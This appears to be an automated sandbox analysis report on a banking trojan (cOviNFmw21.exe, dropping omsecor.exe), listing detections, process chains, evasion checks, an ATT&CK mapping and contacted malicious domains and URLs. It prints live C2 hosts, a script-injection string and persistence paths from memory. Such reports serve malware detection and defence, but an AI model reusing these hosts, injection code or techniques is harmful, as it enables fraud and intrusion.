Source: omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/56/763.htmlEIY
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/56/763.htmlWI/
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/56/763.htmluj
Source: omsecor.exe, 0000000B.00000002.2498117710.000000000051A000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000B.00000002.2497707678.0000000000194000.00000004.00000010.00020000.00000000.sdmp, omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/618/507.html
Source: omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/618/507.html%
Source: omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/618/507.html;
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/en-US
Source: cOviNFmw21.exe, omsecor.exe.1.dr, omsecor.exe.2.dr	String found in binary or memory: http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon
Source: omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/lousta.net
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ow5dirasuek.com/ta

E-Banking Fraud

Yara detected Neconyd

Source: Yara match	File source: Process Memory Space: cOviNFmw21.exe PID: 5344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 3808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 1732, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: omsecor.exe PID: 6904, type: MEMORYSTR

Source: C:\Users\user\AppData\Roaming\omsecor.exe	File created: C:\Windows\SysWOW64\omsecor.exe			Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	File created: C:\Windows\SysWOW64\merocz.xc6			Jump to behavior

Source: C:\Users\user\Desktop\cOviNFmw21.exe	Code function: 1_2_0040D2A4	1_2_0040D2A4
Source: C:\Users\user\Desktop\cOviNFmw21.exe	Code function: 1_2_0040B51C	1_2_0040B51C
Source: C:\Users\user\Desktop\cOviNFmw21.exe	Code function: 1_2_0040CBD0	1_2_0040CBD0
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 11_2_0040D2A4	11_2_0040D2A4
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 11_2_0040B51C	11_2_0040B51C
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 11_2_0040CBD0	11_2_0040CBD0

Source: cOviNFmw21.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.bank.troj.evad.winEXE@7/3@3/3

Source: C:\Users\user\Desktop\cOviNFmw21.exe

Code function: 1_2_0040A057 GetForegroundWindow,CoCreateInstance,SetForegroundWindow,

1_2_0040A057

Source: C:\Users\user\Desktop\cOviNFmw21.exe

File created: C:\Users\user\AppData\Roaming\omsecor.exe

Jump to behavior

Source: cOviNFmw21.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\cOviNFmw21.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: cOviNFmw21.exe

ReversingLabs: Detection: 97%

Source: C:\Users\user\Desktop\cOviNFmw21.exe

File read: C:\Users\user\Desktop\cOviNFmw21.exe

Jump to behavior

Source: C:\Users\user\Desktop\cOviNFmw21.exe	Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess			graph_1-3557
Source: C:\Windows\SysWOW64\omsecor.exe	Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess			graph_11-3558

Source: unknown	Process created: C:\Users\user\Desktop\cOviNFmw21.exe "C:\Users\user\Desktop\cOviNFmw21.exe"
Source: C:\Users\user\Desktop\cOviNFmw21.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\System32\omsecor.exe
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\SysWOW64\omsecor.exe /nomove
Source: C:\Users\user\Desktop\cOviNFmw21.exe	Process created: C:\Users\user\AppData\Roaming\omsecor.exe C:\Users\user\AppData\Roaming\omsecor.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\System32\omsecor.exe	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Process created: C:\Windows\SysWOW64\omsecor.exe C:\Windows\SysWOW64\omsecor.exe /nomove	Jump to behavior

Source: C:\Users\user\Desktop\cOviNFmw21.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\cOviNFmw21.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\omsecor.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe	Section loaded: winnsi.dll	Jump to behavior

Source: C:\Users\user\AppData\Roaming\omsecor.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\cOviNFmw21.exe	Code function: 1_2_0040D293 push ecx; ret	1_2_0040D2A3
Source: C:\Users\user\Desktop\cOviNFmw21.exe	Code function: 1_2_0040CBB5 push ecx; ret	1_2_0040CBC8
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 11_2_0040D293 push ecx; ret	11_2_0040D2A3
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 11_2_0040CBB5 push ecx; ret	11_2_0040CBC8

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\SysWOW64\omsecor.exe

Executable created and started: C:\Windows\SysWOW64\omsecor.exe

Jump to behavior

Source: C:\Users\user\Desktop\cOviNFmw21.exe	File created: C:\Users\user\AppData\Roaming\omsecor.exe			Jump to dropped file
Source: C:\Users\user\AppData\Roaming\omsecor.exe	File created: C:\Windows\SysWOW64\omsecor.exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\omsecor.exe

File created: C:\Windows\SysWOW64\omsecor.exe

Jump to dropped file

Source: C:\Users\user\Desktop\cOviNFmw21.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_1-3591
Source: C:\Users\user\Desktop\cOviNFmw21.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_1-3591
Source: C:\Windows\SysWOW64\omsecor.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep	graph_11-3591
Source: C:\Windows\SysWOW64\omsecor.exe	Evasive API call chain: RegOpenKey,DecisionNodes,ExitProcess	graph_11-3591

Source: C:\Windows\SysWOW64\omsecor.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_11-3525
Source: C:\Users\user\Desktop\cOviNFmw21.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_1-3544
Source: C:\Users\user\Desktop\cOviNFmw21.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_1-3654
Source: C:\Windows\SysWOW64\omsecor.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep	graph_11-3670

Source: C:\Users\user\AppData\Roaming\omsecor.exe TID: 3888	Thread sleep time: -40000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\omsecor.exe TID: 3268	Thread sleep time: -80000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\cOviNFmw21.exe	Code function: 1_2_0040ABD9 FindFirstFileW,FindClose,		1_2_0040ABD9
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 11_2_0040ABD9 FindFirstFileW,FindClose,		11_2_0040ABD9

Source: omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpDR%SystemRoot%\system32\mswsock.dll
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005BC000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 00000002.00000002.1551324123.000000000055E000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000B.00000002.2498117710.000000000051A000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000F.00000002.2500201090.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, omsecor.exe, 0000000F.00000002.2500201090.000000000065B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: omsecor.exe, 0000000B.00000002.2498117710.000000000051A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWta
Source: omsecor.exe, 00000002.00000002.1551324123.00000000005BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW>

Source: C:\Users\user\Desktop\cOviNFmw21.exe	API call chain: ExitProcess graph end node			graph_1-3675
Source: C:\Windows\SysWOW64\omsecor.exe	API call chain: ExitProcess graph end node			graph_11-3675

Source: C:\Users\user\Desktop\cOviNFmw21.exe

Code function: 1_2_0040D00B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

1_2_0040D00B

Source: C:\Users\user\Desktop\cOviNFmw21.exe

Code function: 1_2_004075D4 GetLastError,CreateFileW,CreateFileW,CreateFileW,GetFileSize,GetProcessHeap,RtlAllocateHeap,ReadFile,ReadFile,WriteFile,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,ReadFile,SetFilePointer,WriteFile,CloseHandle,CloseHandle,CloseHandle,

1_2_004075D4

Source: C:\Users\user\Desktop\cOviNFmw21.exe	Code function: 1_2_0040D00B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		1_2_0040D00B
Source: C:\Windows\SysWOW64\omsecor.exe	Code function: 11_2_0040D00B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		11_2_0040D00B

Source: cOviNFmw21.exe, omsecor.exe	Binary or memory string: Shell_TrayWnd
Source: cOviNFmw21.exe, omsecor.exe.1.dr, omsecor.exe.2.dr	Binary or memory string: ftpPriorHostTimeCorrUniqueNumhttp://AppEvents\Schemes\Apps\Explorer\Navigating\.currentSOFTWARE\Classes\MIME\Database\Content Type\text/htmlapplication/x-javascripttext/javascriptCLSIDBuildSOFTWARE\Microsoft\Internet ExplorerJOB FILE^nocryptPage generated at: http:__scMMdj490)0-Osdurandcrandsetvarmsec1970b_nav_timeCsMSoftware\Microsoft\Windows NT\CurrentVersion\WindowsAppInit_DLLsC:\WINDOWS\system32\gbdwpbm.dll.jar.mpeg.mpg.3gp.mov.mkv.wmv.avi.mp3.pdf.7z.gz.exe.rar.zip.xls.docvar scr= document.createElement("script"); scr.src = "%s"; document.getElementsByTagName("head")[0].appendChild(scr);Aahttp_self&host=track_eventsjavascriptbegun.ru/click.jsp?url=an.yandex.ru/count_blank,"url""domain""encrypted""URL""condition_id""kwtype"<domain></domain><url></url><title></title>http://click0^POSTShell.ExplorerAtlAxWineventConnShell_TrayWndAccept: /*

Source: C:\Users\user\Desktop\cOviNFmw21.exe

Code function: 1_2_0040CB03 cpuid

1_2_0040CB03

Source: C:\Users\user\Desktop\cOviNFmw21.exe

Code function: 1_2_00407267 GetSystemTime,SystemTimeToFileTime,SystemTimeToFileTime,SystemTimeToFileTime,__aulldiv,

1_2_00407267

Source: C:\Users\user\Desktop\cOviNFmw21.exe

Code function: 1_2_00407499 GetLocalTime,GetLocalTime,GetLocalTime,GetTimeZoneInformation,SystemTimeToFileTime,SystemTimeToFileTime,SystemTimeToFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

1_2_00407499

Source: C:\Users\user\Desktop\cOviNFmw21.exe

Code function: 1_2_00406CB5 GetVersionExW,

1_2_00406CB5

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	121 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
cOviNFmw21.exe	97%	ReversingLabs	Win32.Trojan.ButeRat
cOviNFmw21.exe	100%	Avira	HEUR/AGEN.1317135
cOviNFmw21.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\omsecor.exe	100%	Avira	HEUR/AGEN.1317135
C:\Windows\SysWOW64\omsecor.exe	100%	Avira	HEUR/AGEN.1317135
C:\Users\user\AppData\Roaming\omsecor.exe	100%	Joe Sandbox ML
C:\Windows\SysWOW64\omsecor.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\omsecor.exe	96%	ReversingLabs	Win32.Trojan.ButeRat

Source	Detection	Scanner	Label
http://lousta.net/54/325.html	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/402/288.htmle	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/402/288.html-8a8d424fbe43573ef1LMEM	100%	Avira URL Cloud	phishing
http://lousta.net/115/685.html53	100%	Avira URL Cloud	phishing
http://lousta.net/352/26.html	100%	Avira URL Cloud	phishing
http://lousta.net/352/26.htmls0	100%	Avira URL Cloud	phishing
http://lousta.net/158/950.html	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/697/241.html	100%	Avira URL Cloud	phishing
http://lousta.net/616/595.html	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/697/241.htmll	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/56/763.html	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/910/77.htmlCj	100%	Avira URL Cloud	phishing
http://lousta.net/352/26.html3418276	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/372/940.htmlj	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/697/241.htmlasuek.com	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/697/241.html/	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/i	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/56/763.htmlWI/	100%	Avira URL Cloud	phishing
http://lousta.net/115/685.html	100%	Avira URL Cloud	phishing
http://lousta.net/352/26.htmlz0o	100%	Avira URL Cloud	phishing
http://lousta.net/	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/618/507.html;	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/56/763.htmluj	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/618/507.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/lousta.net	100%	Avira URL Cloud	phishing
http://lousta.net/54/325.htmlwshqos.dll.mui	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/618/507.html%	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon	100%	Avira URL Cloud	phishing
http://lousta.net/j	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/910/77.htmlIIM	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/372/940.html	100%	Avira URL Cloud	phishing
http://lousta.net/594/342.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/ta	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/en-US	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/910/77.html0#=	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/910/77.html$#	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/	100%	Avira URL Cloud	phishing
http://lousta.net/562/345.html	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/56/763.htmlEIY	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/56/763.html-F	100%	Avira URL Cloud	phishing
http://ow5dirasuek.com/56/763.html%	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/910/77.html	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/697/241.html~x	100%	Avira URL Cloud	phishing
http://mkkuei4kdsz.com/402/288.html	100%	Avira URL Cloud	phishing
http://lousta.net/352/26.htmle1N	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
lousta.net	193.166.255.171	true	true	unknown
mkkuei4kdsz.com	15.197.204.56	true	true	unknown
ow5dirasuek.com	52.34.198.229	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://lousta.net/54/325.html	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/	true	Avira URL Cloud: phishing	unknown
http://lousta.net/158/950.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/352/26.html	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/697/241.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/616/595.html	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/56/763.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/115/685.html	true	Avira URL Cloud: phishing	unknown
http://lousta.net/	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/618/507.html	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/372/940.html	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/	true	Avira URL Cloud: phishing	unknown
http://lousta.net/562/345.html	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/910/77.html	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/402/288.html	true	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://lousta.net/352/26.htmls0	omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/402/288.htmle	omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://lousta.net/115/685.html53	omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/402/288.html-8a8d424fbe43573ef1LMEM	omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/697/241.htmll	omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/372/940.htmlj	omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/910/77.htmlCj	omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://lousta.net/352/26.html3418276	omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/697/241.htmlasuek.com	omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/697/241.html/	omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/i	omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/56/763.htmlWI/	omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/352/26.htmlz0o	omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/56/763.htmluj	omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/618/507.html;	omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/54/325.htmlwshqos.dll.mui	omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/lousta.net	omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/http://mkkuei4kdsz.com/http://lousta.net/http://lousta.net/begun.ruIueiOodcon	cOviNFmw21.exe, omsecor.exe.1.dr, omsecor.exe.2.dr	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/618/507.html%	omsecor.exe, 0000000B.00000002.2498117710.00000000004BE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lousta.net/j	omsecor.exe, 0000000F.00000002.2500201090.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://mkkuei4kdsz.com/910/77.htmlIIM	omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/en-US	omsecor.exe, 0000000B.00000002.2498117710.0000000000508000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://ow5dirasuek.com/ta	omsecor.exe, 00000002.00000002.1551324123.00000000005A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
